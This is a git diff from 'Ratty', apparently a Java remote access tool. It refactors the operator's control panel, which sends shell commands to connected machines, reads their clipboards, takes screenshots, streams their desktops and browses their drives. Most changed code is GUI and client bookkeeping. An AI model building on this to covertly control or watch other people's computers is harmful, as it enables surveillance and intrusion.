diff --git a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
index 5b2471e..a706b8a 100644
--- a/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java
@@ -6,8 +6,10 @@ import java.awt.datatransfer.DataFlavor;
 import java.awt.datatransfer.UnsupportedFlavorException;
 import java.io.IOException;
 
+import javax.swing.JDialog;
+import javax.swing.JOptionPane;
+
 import de.sogomn.rat.ActiveClient;
-import de.sogomn.rat.server.gui.RattyGui;
 
 public final class ClipboardPacket extends AbstractPingPongPacket {
 	
@@ -56,7 +58,11 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
 	
 	@Override
 	protected void executeData(final ActiveClient client) {
-		RattyGui.showMessage(clipboardContent);
+		final JOptionPane optionPane = new JOptionPane(clipboardContent);
+		final JDialog dialog = optionPane.createDialog(null);
+		
+		dialog.setModal(false);
+		dialog.setVisible(true);
 	}
 	
 }
diff --git a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java
index 65a49c0..9ec42c6 100644
--- a/Ratty/src/de/sogomn/rat/packet/CommandPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/CommandPacket.java
@@ -3,8 +3,10 @@ package de.sogomn.rat.packet;
 import java.io.IOException;
 import java.io.InputStream;
 
+import javax.swing.JDialog;
+import javax.swing.JOptionPane;
+
 import de.sogomn.rat.ActiveClient;
-import de.sogomn.rat.server.gui.RattyGui;
 
 public final class CommandPacket extends AbstractPingPongPacket {
 	
@@ -66,7 +68,11 @@ public final class CommandPacket extends AbstractPingPongPacket {
 	
 	@Override
 	protected void executeData(final ActiveClient client) {
-		RattyGui.showMessage(output);
+		final JOptionPane optionPane = new JOptionPane(output);
+		final JDialog dialog = optionPane.createDialog(null);
+		
+		dialog.setModal(false);
+		dialog.setVisible(true);
 	}
 	
 	public String getCommand() {
@@ -78,7 +84,7 @@ public final class CommandPacket extends AbstractPingPongPacket {
 	}
 	
 	public static CommandPacket create() {
-		final String input = RattyGui.getInput();
+		final String input = JOptionPane.showInputDialog(null);
 		final CommandPacket packet = new CommandPacket(input);
 		
 		return packet;
diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java
index 00bfa4f..d766d51 100644
--- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java
@@ -64,7 +64,7 @@ public final class InformationPacket extends AbstractPingPongPacket {
 		return name;
 	}
 	
-	public String getOS() {
+	public String getOs() {
 		return os;
 	}
 	
diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java
index c47a4e4..79fb3a5 100644
--- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java
@@ -1,7 +1,9 @@
 package de.sogomn.rat.packet;
 
+import javax.swing.JDialog;
+import javax.swing.JOptionPane;
+
 import de.sogomn.rat.ActiveClient;
-import de.sogomn.rat.server.gui.RattyGui;
 
 
 
@@ -29,7 +31,11 @@ public final class PopupPacket implements IPacket {
 	
 	@Override
 	public void execute(final ActiveClient client) {
-		RattyGui.showMessage(message);
+		final JOptionPane optionPane = new JOptionPane(message);
+		final JDialog dialog = optionPane.createDialog(null);
+		
+		dialog.setModal(false);
+		dialog.setVisible(true);
 	}
 	
 	public String getMessage() {
@@ -37,7 +43,7 @@ public final class PopupPacket implements IPacket {
 	}
 	
 	public static PopupPacket create() {
-		final String input = RattyGui.getInput();
+		final String input = JOptionPane.showInputDialog(null);
 		final PopupPacket packet = new PopupPacket(input);
 		
 		return packet;
diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
new file mode 100644
index 0000000..464a142
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
@@ -0,0 +1,77 @@
+package de.sogomn.rat.server.gui;
+
+import java.awt.Color;
+import java.awt.Graphics2D;
+import java.awt.image.BufferedImage;
+
+import de.sogomn.engine.Screen;
+import de.sogomn.engine.Screen.ResizeBehavior;
+import de.sogomn.engine.util.ImageUtils;
+import de.sogomn.rat.util.FrameEncoder.IFrame;
+
+public final class DisplayPanel {
+	
+	private Screen screen;
+	private BufferedImage image;
+	
+	private static final int SCREEN_WIDTH = 1920 / 2;
+	private static final int SCREEN_HEIGHT = 1080 / 2;
+	
+	public DisplayPanel() {
+		//...
+	}
+	
+	private Screen createScreen(final int width, final int height) {
+		final Screen screen = new Screen(width, height);
+		
+		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
+		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
+		screen.setBackgroundColor(Color.BLACK);
+		screen.addListener(g -> {
+			g.drawImage(image, 0, 0, null);
+		});
+		
+		return screen;
+	}
+	
+	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
+		final Graphics2D g = image.createGraphics();
+		
+		ImageUtils.applyHighGraphics(g);
+		
+		g.drawImage(imagePart, x, y, null);
+		g.dispose();
+	}
+	
+	public void openScreen(final int width, final int height) {
+		if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) {
+			if (screen != null) {
+				screen.close();
+			}
+			
+			screen = createScreen(width, height);
+		}
+		
+		screen.show();
+		screen.redraw();
+	}
+	
+	public void showImage(final BufferedImage image) {
+		this.image = image;
+		
+		final int width = image.getWidth();
+		final int height = image.getHeight();
+		
+		openScreen(width, height);
+	}
+	
+	public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
+		if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
+			image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
+		}
+		
+		drawToScreenImage(frame.image, frame.x, frame.y);
+		openScreen(screenWidth, screenHeight);
+	}
+	
+}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
new file mode 100644
index 0000000..f392f4c
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
@@ -0,0 +1,122 @@
+package de.sogomn.rat.server.gui;
+
+import java.awt.Dimension;
+
+import javax.swing.JDialog;
+import javax.swing.JFrame;
+import javax.swing.JTree;
+import javax.swing.tree.DefaultMutableTreeNode;
+
+public final class FileTreePanel {
+	
+	private JDialog dialog;
+	
+	private DefaultMutableTreeNode root;
+	private JTree tree;
+	
+	private static final String ROOT_NAME = "Drives";
+	private static final int DEFAULT_WIDTH = 500;
+	private static final int DEFAULT_HEIGHT = 500;
+	
+	public FileTreePanel() {
+		dialog = new JDialog();
+		root = new DefaultMutableTreeNode(ROOT_NAME);
+		tree = new JTree(root);
+		
+		tree.setEditable(false);
+		tree.setBorder(null);
+		
+		dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
+		dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT));
+		dialog.setContentPane(tree);
+		dialog.pack();
+		dialog.setLocationByPlatform(true);
+	}
+	
+	private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) {
+		final int childCount = node.getChildCount();
+		final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount];
+		
+		for (int i = 0; i < childCount; i++) {
+			final DefaultMutableTreeNode child = (DefaultMutableTreeNode)node.getChildAt(i);
+			
+			children[i] = child;
+		}
+		
+		return children;
+	}
+	
+	private DefaultMutableTreeNode getChild(final DefaultMutableTreeNode node, final String name) {
+		final DefaultMutableTreeNode[] children = getChildren(node);
+		
+		for (final DefaultMutableTreeNode child : children) {
+			final Object object = child.getUserObject();
+			
+			if (object.equals(name)) {
+				return child;
+			}
+		}
+		
+		return null;
+	}
+	
+	private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode start, final String[] path) {
+		if (path.length == 0) {
+			return null;
+		}
+		
+		final String name = path[0];
+		final DefaultMutableTreeNode node = getChild(start, name);
+		
+		if (path.length == 1 || node == null) {
+			return node;
+		}
+		
+		final String[] remainingPath = new String[path.length - 1];
+		System.arraycopy(path, 1, remainingPath, 0, remainingPath.length);
+		
+		return getByName(node, remainingPath);
+	}
+	
+	private void addAll(final DefaultMutableTreeNode start, final String[] path) {
+		if (path.length == 0) {
+			return;
+		}
+		
+		final String name = path[0];
+		
+		DefaultMutableTreeNode node = getChild(start, name);
+		
+		if (node == null) {
+			node = new DefaultMutableTreeNode(name);
+			
+			start.add(node);
+		}
+		
+		final String[] remainingPath = new String[path.length - 1];
+		System.arraycopy(path, 1, remainingPath, 0, remainingPath.length);
+		
+		addAll(node, remainingPath);
+	}
+	
+	public void addFile(final String... path) {
+		addAll(root, path);
+	}
+	
+	public void removeFile(final String... path) {
+		final DefaultMutableTreeNode node = getByName(root, path);
+		
+		if (node != null) {
+			node.removeFromParent();
+		}
+	}
+	
+	public void clear() {
+		root.removeAllChildren();
+	}
+	
+	public void setVisible(final boolean state) {
+		dialog.setVisible(state);
+	}
+	
+}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
index fe0b3a5..149787d 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@@ -1,7 +1,5 @@
 package de.sogomn.rat.server.gui;
 
-import java.awt.Color;
-import java.awt.Graphics2D;
 import java.awt.Point;
 import java.awt.event.ActionEvent;
 import java.awt.event.MouseAdapter;
@@ -10,20 +8,15 @@ import java.awt.image.BufferedImage;
 
 import javax.swing.Icon;
 import javax.swing.ImageIcon;
-import javax.swing.JDialog;
 import javax.swing.JFrame;
 import javax.swing.JMenuItem;
-import javax.swing.JOptionPane;
 import javax.swing.JPopupMenu;
 import javax.swing.JScrollPane;
 import javax.swing.JTable;
 import javax.swing.table.DefaultTableModel;
 
-import de.sogomn.engine.Screen;
-import de.sogomn.engine.Screen.ResizeBehavior;
 import de.sogomn.engine.fx.SpriteSheet;
 import de.sogomn.engine.util.ImageUtils;
-import de.sogomn.rat.util.FrameEncoder.IFrame;
 
 public final class RattyGui {
 	
@@ -36,9 +29,6 @@ public final class RattyGui {
 	
 	private JPopupMenu menu;
 	
-	private Screen screen;
-	private BufferedImage image;
-	
 	private IGuiController controller;
 	
 	private static final String[] HEADERS = {
@@ -50,9 +40,6 @@ public final class RattyGui {
 		"Streaming"
 	};
 	
-	private static final int SCREEN_WIDTH = 800;
-	private static final int SCREEN_HEIGHT = 600;
-	
 	private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
 	private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites();
 	
@@ -115,19 +102,6 @@ public final class RattyGui {
 		frame.requestFocus();
 	}
 	
-	private Screen createScreen(final int width, final int height) {
-		final Screen screen = new Screen(width, height);
-		
-		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
-		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
-		screen.setBackgroundColor(Color.BLACK);
-		screen.addListener(g -> {
-			g.drawImage(image, 0, 0, null);
-		});
-		
-		return screen;
-	}
-	
 	private void addMenuItem(final String name, final Icon icon) {
 		final JMenuItem item = new JMenuItem(name);
 		
@@ -148,44 +122,18 @@ public final class RattyGui {
 		controller.userInput(command);
 	}
 	
-	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
-		final Graphics2D g = image.createGraphics();
-		
-		ImageUtils.applyHighGraphics(g);
+	private int getRowIndex(final long id) {
+		final int rows = tableModel.getRowCount();
 		
-		g.drawImage(imagePart, x, y, null);
-		g.dispose();
-	}
-	
-	public void openScreen(final int width, final int height) {
-		if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) {
-			if (screen != null) {
-				screen.close();
-			}
+		for (int i = 0; i < rows; i++) {
+			final long rowId = (Long)tableModel.getValueAt(i, 0);
 			
-			screen = createScreen(width, height);
-		}
-		
-		screen.show();
-		screen.redraw();
-	}
-	
-	public void showImage(final BufferedImage image) {
-		this.image = image;
-		
-		final int width = image.getWidth();
-		final int height = image.getHeight();
-		
-		openScreen(width, height);
-	}
-	
-	public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
-		if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
-			image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
+			if (rowId == id) {
+				return i;
+			}
 		}
 		
-		drawToScreenImage(frame.image, frame.x, frame.y);
-		openScreen(screenWidth, screenHeight);
+		return -1;
 	}
 	
 	public void addTableRow(final long id, final String name, final String address, final String os, final String version) {
@@ -195,28 +143,18 @@ public final class RattyGui {
 	}
 	
 	public void removeTableRow(final long id) {
-		final int rows = tableModel.getRowCount();
+		final int rowIndex = getRowIndex(id);
 		
-		for (int i = 0; i < rows; i++) {
-			final long rowId = (Long)tableModel.getValueAt(i, 0);
-			
-			if (rowId == id) {
-				tableModel.removeRow(i);
-				
-				return;
-			}
+		if (rowIndex != -1) {
+			tableModel.removeRow(rowIndex);
 		}
 	}
 	
 	public void setStreaming(final long id, final boolean state) {
-		final int rows = tableModel.getRowCount();
+		final int rowIndex = getRowIndex(id);
 		
-		for (int i = 0; i < rows; i++) {
-			final long rowId = (Long)tableModel.getValueAt(i, 0);
-			
-			if (rowId == id) {
-				tableModel.setValueAt(state, i, 5);	//Column 5 = Streaming
-			}
+		if (rowIndex != -1) {
+			tableModel.setValueAt(state, rowIndex, 5);	//Column 5 = Streaming
 		}
 	}
 	
@@ -228,22 +166,4 @@ public final class RattyGui {
 		return lastIdClicked;
 	}
 	
-	public boolean isScreenVisible() {
-		return screen.isVisible();
-	}
-	
-	public static void showMessage(final String message) {
-		final JOptionPane optionPane = new JOptionPane(message);
-		final JDialog dialog = optionPane.createDialog(null);
-		
-		dialog.setModal(false);
-		dialog.setVisible(true);
-	}
-	
-	public static String getInput() {
-		final String input = JOptionPane.showInputDialog(null);
-		
-		return input;
-	}
-	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index ac7b262..a7cefc1 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -72,52 +72,65 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 	
 	@Override
 	public void packetReceived(final ActiveClient client, final IPacket packet) {
-		if (packet instanceof InformationPacket) {
-			final InformationPacket information = (InformationPacket)packet;
-			final long id = getServerClient(client).id;
-			final String name = information.getName();
-			final String address = client.getAddress();
-			final String os = information.getOS();
-			final String version = information.getVersion();
-			
-			gui.addTableRow(id, name, address, os, version);
-		} else if (packet instanceof ScreenshotPacket) {
-			final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
-			final BufferedImage image = screenshot.getImage();
-			
-			gui.showImage(image);
-		} else if (packet instanceof DesktopStreamPacket) {
-			final ServerClient serverClient = getServerClient(client);
-			
-			if (serverClient.streamingDesktop) {
+		final ServerClient serverClient = getServerClient(client);
+		
+		if (serverClient.isLoggedIn()) {
+			if (packet instanceof ScreenshotPacket) {
+				final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
+				final BufferedImage image = screenshot.getImage();
+				
+				serverClient.getDisplayPanel().showImage(image);
+			} else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) {
 				final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
 				final IFrame frame = stream.getFrame();
 				final int screenWidth = stream.getScreenWidth();
 				final int screenHeight = stream.getScreenHeight();
 				final DesktopStreamPacket request = new DesktopStreamPacket();
 				
-				gui.showFrame(frame, screenWidth, screenHeight);
-				
+				serverClient.getDisplayPanel().showFrame(frame, screenWidth, screenHeight);
 				client.addPacket(request);
+			} else {
+				packet.execute(client);
 			}
-		} else {
-			packet.execute(client);
+		} else if (packet instanceof InformationPacket) {
+			final InformationPacket information = (InformationPacket)packet;
+			final long id = serverClient.id;
+			final String name = information.getName();
+			final String address = client.getAddress();
+			final String os = information.getOs();
+			final String version = information.getVersion();
+			
+			serverClient.logIn(name, os, version);
+			gui.addTableRow(id, name, address, os, version);
 		}
 	}
 	
 	@Override
 	public void disconnected(final ActiveClient client) {
-		removeClient(client);
+		final long id = getServerClient(client).id;
+		
+		client.setObserver(null);
+		client.close();
+		clients.remove(client);
+		
+		gui.removeTableRow(id);
 	}
 	
 	@Override
 	public void clientConnected(final ActiveServer server, final ActiveClient client) {
-		addClient(client);
+		final long id = nextId++;
+		final ServerClient serverClient = new ServerClient(id, client);
+		final InformationPacket packet = new InformationPacket();
+		
+		client.setObserver(this);
+		clients.add(serverClient);
+		client.start();
+		client.addPacket(packet);
 	}
 	
 	@Override
 	public void closed(final ActiveServer server) {
-		System.out.println("Server closed");
+		//...
 	}
 	
 	@Override
@@ -132,47 +145,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
 		}
 		
 		if (command == RattyGui.DESKTOP) {
-			serverClient.streamingDesktop = true;
+			serverClient.setStreamingDesktop(true);
 			gui.setStreaming(lastIdClicked, true);
 		} else if (command == RattyGui.DESKTOP_STOP) {
-			serverClient.streamingDesktop = false;
+			serverClient.setStreamingDesktop(false);
 			gui.setStreaming(lastIdClicked, false);
 		}
 	}
 	
-	public void addClient(final ActiveClient client) {
-		final long id = nextId++;
-		final ServerClient serverClient = new ServerClient(id, client);
-		final InformationPacket packet = new InformationPacket();
-		
-		client.setObserver(this);
-		clients.add(serverClient);
-		client.start();
-		client.addPacket(packet);
-	}
-	
-	public void removeClient(final ActiveClient client) {
-		final long id = getServerClient(client).id;
-		
-		client.setObserver(null);
-		client.close();
-		clients.remove(client);
-		
-		gui.removeTableRow(id);
-	}
-	
-	private final class ServerClient {
-		
-		private boolean streamingDesktop;
-		
-		final long id;
-		final ActiveClient client;
-		
-		public ServerClient(final long id, final ActiveClient client) {
-			this.id = id;
-			this.client = client;
-		}
-		
-	}
-	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
new file mode 100644
index 0000000..ac68640
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@@ -0,0 +1,66 @@
+package de.sogomn.rat.server.gui;
+
+import de.sogomn.rat.ActiveClient;
+
+public final class ServerClient {
+	
+	private String name, os, version;
+	private boolean loggedIn;
+	
+	private boolean streamingDesktop;
+	
+	private DisplayPanel displayPanel;
+	private FileTreePanel treePanel;
+	
+	final long id;
+	final ActiveClient client;
+	
+	public ServerClient(final long id, final ActiveClient client) {
+		this.id = id;
+		this.client = client;
+		
+		displayPanel = new DisplayPanel();
+		treePanel = new FileTreePanel();
+	}
+	
+	public void logIn(final String name, final String os, final String version) {
+		this.name = name;
+		this.os = os;
+		this.version = version;
+		
+		loggedIn = true;
+	}
+	
+	public void setStreamingDesktop(final boolean streamingDesktop) {
+		this.streamingDesktop = streamingDesktop;
+	}
+	
+	public String getName() {
+		return name;
+	}
+	
+	public String getOs() {
+		return os;
+	}
+	
+	public String getVersion() {
+		return version;
+	}
+	
+	public boolean isLoggedIn() {
+		return loggedIn;
+	}
+	
+	public boolean isStreamingDesktop() {
+		return streamingDesktop;
+	}
+	
+	public DisplayPanel getDisplayPanel() {
+		return displayPanel;
+	}
+	
+	public FileTreePanel getTreePanel() {
+		return treePanel;
+	}
+	
+}